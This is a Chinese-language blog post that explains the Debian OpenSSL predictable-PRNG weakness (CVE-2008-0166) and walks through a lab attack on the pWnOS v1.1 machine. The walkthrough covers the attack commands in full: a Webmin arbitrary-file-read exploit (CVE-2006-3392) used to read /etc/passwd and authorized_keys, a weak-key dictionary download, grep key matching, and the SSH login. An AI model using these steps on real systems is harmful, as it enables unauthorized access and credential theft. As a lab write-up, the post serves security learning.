OpenSSL 可预测 PRNG 漏洞(CVE-2008-0166)

一、漏洞成因与影响

1-成因

OpenSSL 的随机数生成器被修改为生成可预测的数字,从而使得加密密钥容易受到暴力破解攻击。

  • 错误修复 :为了消除 Valgrind(一种内存调试工具)的告警信息,Debian 的维护者在 OpenSSL 的代码包中修改了一个文件 (md_rand.c)。他们注释掉了其中用于给随机数生成器添加熵(即随机性来源)的关键两行代码。
  • 熵源枯竭 :这两行被注释的代码,原本负责将进程ID(PID)之外的系统运行状态信息(如内存使用、CPU时间等)作为种子,混入随机数池中。被注释后,可用的随机数种子只剩下当前进程的 PID
  • 随机数有限 :在 Linux 系统中,PID 的取值范围是有限的,通常为 1 到 32767 。这意味着,随机数生成器的"随机"状态,最多只有 32768种可能性

2-危害

这个漏洞导致2006年9月至2008年5月期间,在受影响的 Debian 及其衍生系统(如 Ubuntu)上生成的所有 SSH、SSL/TLS、OpenVPN 等密钥,都可以被轻松预测和破解。攻击者可以在短时间内(如利用信息中提到的"20分钟内")通过暴力破解获得服务器的控制权。

二、攻击思路

(1)建立"弱密钥池"

由于密钥空间只有32768种可能性,可以预先穷举所有可能的随机数种子,计算出所有可能生成的 RSADSA 密钥对,形成一个庞大的"弱密钥字典"。

(2)利用公钥验证

攻击者获得了目标服务器的公钥(通常放在 authorized_keys 文件中)后,就可以用这个"弱密钥字典"中的私钥,一个个地去尝试登录服务器。

(3)自动化碰撞

利用脚本进行自动化尝试,脚本会依次调用字典中的私钥尝试 SSH 登录,一旦登录成功(即 exit 命令返回码为 0),就说明找到了正确的私钥。

三、渗透场景实验

我使用pWnOS v1.1作为目标,模拟渗透场景。因为本文章重心:从服务器获取了authorized_keys,利用prng机制的缺陷,碰撞出私钥文件,从而成功登录

1-获取公钥文件

通过信息收集发现,靶机的Webmin存在历史漏洞CVE-2006-3392,能够进行任意文件读取。在GitHub下载exp

bash 复制代码
git clone https://github.com/g1vi/CVE-2006-3392.git

执行脚本,查看敏感文件/etc/passwd

bash 复制代码
./exploit.sh 10.10.10.140 10000 /etc/passwd

成功获取用户信息

plaintext 复制代码
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

如果用户为了方便,进行私钥文件登录的话,公钥文件是在服务器中的,通常是在/home/xxx/.ssh下,我们尝试读取obama的

bash 复制代码
./exploit.sh 10.10.10.140 10000 /home/obama/.ssh/authorized_keys

成功获取:

plaintext 复制代码
-----BEGIN OF FILE /home/obama/.ssh/authorized_keys-----

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm

-----END OF FILE-----

2-下载字典

由于密钥空间只有32768种可能性,可以进行穷举所有可能的随机数种子,构造出一个弱密钥字典。GitHub上也有人发布过文件,我们不需要再进行枚举了

bash 复制代码
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

解压

bash 复制代码
tar vjxf 5622.tar.bz2

3-碰撞

我们截取公钥文件中的一段,大约20位

plaintext 复制代码
AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf

进入字典中

bash 复制代码
cd rsa/2048

使用grep递归查询所有的公钥文件,直到碰撞出来

bash 复制代码
grep -rl "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf" *.*

输出:dcbe2a56e8cdea6d17495f6648329ee2-4679.pub,将私钥复制出来

bash 复制代码
cp dcbe2a56e8cdea6d17495f6648329ee2-4679 ../../

3-使用ssh登录

尝试ssh登录

bash 复制代码
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.140

输出:Unable to negotiate with 10.10.10.140 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,添加密钥类型

bash 复制代码
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.140 -oHostKeyAlgorithms=+ssh-rsa

但是还是需要密码登录,查看调试信息

bash 复制代码
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.140 -vv -oHostKeyAlgorithms=+ssh-rsa

发现:sign_and_send_pubkey: no mutual signature supported,因为无法与服务器就签名算法达成一致而报出的失败信息

bash 复制代码
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.140 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=ssh-rsa

登录成功

相关推荐
周伯通*1 小时前
为安全考虑,已锁定该用户帐户,原因是登录尝试或密码更改尝试过多。请稍候片刻再重试或与系统管理员或技术支持联系。
安全
效能革命笔记3 小时前
企业软件供应链安全优选:Gitee CodePecker SCA核心能力与选型参考
安全·gitee
黎阳之光4 小时前
黎阳之光:视频孪生智慧厂网一体化解决方案|污水处理全场景智能化升级
大数据·人工智能·物联网·安全·数字孪生
一切皆是因缘际会5 小时前
依托记忆结构心智体系,AI 自主意识进化路径
大数据·人工智能·安全·搜索引擎·ai
沪漂阿龙5 小时前
面试题详解:大模型设计沙箱全攻略——LLM Sandbox、Agent 工具执行、代码沙箱、安全隔离、权限控制与工程落地
网络·数据库·人工智能·安全
liana87445 小时前
内部聊天软件选型:安全高效是根本
大数据·安全
路baby6 小时前
RCE漏洞的原理详细讲解并基于pikachu靶场的实战演戏
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·rce
DianSan_ERP6 小时前
自研电商架构:一套API安全对接60+平台
大数据·运维·数据库·人工智能·安全·架构
老詹图解IT6 小时前
深度剖析:近期 Linux 内核重大漏洞与 AI 时代的安全挑战—兼答“制造恐慌“之说,以及Linus邮件背后的真实故事
网络·安全
小枣信安6 小时前
大模型安全系列:不安全的输出如何演变成RCE攻击
安全